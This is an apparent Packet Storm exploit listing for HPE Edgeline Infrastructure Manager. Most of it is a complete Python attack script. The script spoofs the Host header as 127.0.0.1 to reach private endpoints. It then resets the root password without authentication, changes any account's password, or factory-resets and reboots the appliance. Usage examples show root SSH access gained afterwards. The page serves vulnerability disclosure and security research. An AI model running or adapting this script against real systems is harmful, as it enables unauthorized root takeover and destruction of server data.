what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HPE Edgeline Infrastructure Manager Improper Authorization

HPE Edgeline Infrastructure Manager Improper Authorization
Posted Dec 29, 2020
Authored by Jeremy Brown

HPE Edgeline Infrastructure Manager suffers from multiple broken authorization flows that allow for administrative function access without authenticating and can allow for arbitrary password changes.

tags | exploit, arbitrary
SHA-256 | 87121a708a5d58e0787d22fbc3bc5c2a8bf7f3c2c03fd87d6efdd1247efe1119

HPE Edgeline Infrastructure Manager Improper Authorization

Change Mirror Download
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# billhader.py
#
# HPE Edgeline Infrastructure Manager Multiple Remote Vulnerabilities
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# In \opt\hpe\eim\containers\api\eim\api\urls.py, some private paths are defined
# which are intended to only be accessible via the local console.
#
# path('private/AdminPassReset', views.admin_password_reset), <-- ice
# path('private/ResetAppliance', views.reset_appliance), <-- ice
# path('private/EIMApplianceIP', views.get_eim_appliance_ips), <-- boring
#
# These are meant to only be exposed for the local GUI so admins can perform
# functions without authenticating. The way do they do this is by checking the
# Host header and returning a 404 not found for not-localhost, but 200 OK for
# 127.0.0.1. This is of course flawed because any remote user has control over
# the Host header and they can call these functions with valid JSON, eg.
# /private/AdminPassReset to reset the admin password and login via SSH (default)
# as root due to the Administrator and root always synced to the same password.
# They can also call ResetAppliance and the appliance will immediately reset
# user data and cause the entire server to reboot.
#
# Administrator is the default and permanent web console user and as mentioned it's
# tied to the root OS user account. When Administrator changes their password, the
# backend changes the root password to the same. Other users can be added to the
# web console, but there is nothing stopping them changing any other user’s password.
# Not even sure if this is a bug or just wow functionality because although the
# users appear different, they all seem to share the same role. Broken or incomplete
# design I guess. So any user can change the Administrator password and use it to
# login as root via the default open SSH server, start setting up camp, etc.
#
# Usage examples
# > billhader.py 10.0.0.10 pre_root_passwd -n letmein
# {"RootPasswd": "Modified", "UserPassword": "Modified"}
#
# > ssh root@10.0.0.10
# root@10.10.10.20's password: [letmein]
# [root@hpe-eim ~]#
#
# > billhader.py 10.0.0.10 post_root_passwd -u test -p abc123
# login succeeded
# {"Status": "success", "Valid_Entries": ["Password"], "Invalid_Entries": []}
#
# (root password is now newpassword default of 'letmein')
#
# > billhader.py 10.10.10.20 pre_factory_reset
# Lost your password huh? Are you sure you want to factory reset this server?
# yes
# done
#

import os
import sys
import argparse
import requests
import urllib.parse
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BINGO = '127.0.0.1' # not localhost :')
DEFAULT_PORT = 443

class BillHader(object):
def __init__(self, args):
self.target = args.target
self.action = args.action
self.newpassword = args.newpassword
self.username = args.username
self.password = args.password

def run(self):
target = "https://" + self.target + ':' + str(DEFAULT_PORT)

session = requests.Session()
session.verify = False

if(self.action == 'pre_root_passwd'):
headers = {'Host':BINGO}

data = \
{'Password':self.newpassword,
'ConfirmPassword':self.newpassword}

try:
resp = session.post(target + "/private/AdminPassReset",
headers=headers,
data=json.dumps(data))
except Exception as error:
print("Error: %s" % error)
return -1

print("%s" % resp.text)

if(self.action == 'post_root_passwd'):
data = \
{'UserName':self.username,
'Password':self.password}

try:
resp = session.post(target + "/redfish/v1/SessionService/Sessions",
data=json.dumps(data))
except Exception as error:
print("Error: %s" % error)
return -1

if(resp.status_code != 201):
print("login failed")
return -1
else:
print("login succeeded")

try:
token = resp.headers['x-auth-token']
except:
print("Error: couldn't parse token from response header")
return -1

if(token == None):
print("Error: couldn't parse token from session")
return -1

headers = {'X-Auth-Token':token}

data = {'Password':self.newpassword}

try:
resp = session.patch(target + "/redfish/v1/AccountService/Accounts/1",
headers=headers,
data=json.dumps(data))
except Exception as error:
print("Error: %s" % error)
return -1

print("%s" % resp.text)

if(self.action == 'pre_factory_reset'):
print("Lost your password huh? Are you sure you want to factory reset this server?")

choice = input().lower()

if('yes' not in choice):
print("cool, exiting")
return -1

headers = {'Host':BINGO}

data = {'ResetRequired':'true'}

try:
resp = session.post(target + "/private/ResetAppliance", \
headers=headers,
data=json.dumps(data))
except Exception as error:
print("Error: %s" % error)
return -1

print("done")

return 0

def arg_parse():
parser = argparse.ArgumentParser()

parser.add_argument("target",
type=str,
help="EIM host")

parser.add_argument("action",
type=str,
choices=['pre_root_passwd', 'post_root_passwd', 'pre_factory_reset'],
help="Which action to perform on the server")

parser.add_argument("-n",
"--newpassword",
type=str,
default="letmein",
help="New password to set for root account (letmein)")

parser.add_argument("-u",
"--username",
type=str,
help="Valid username (for post_root_reset)")

parser.add_argument("-p",
"--password",
type=str,
help="Valid password (for post_root_reset)")

args = parser.parse_args()

return args

def main():
args = arg_parse()

bill = BillHader(args)

result = bill.run()

if(result > 0):
sys.exit(-1)

if(__name__ == '__main__'):
main()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close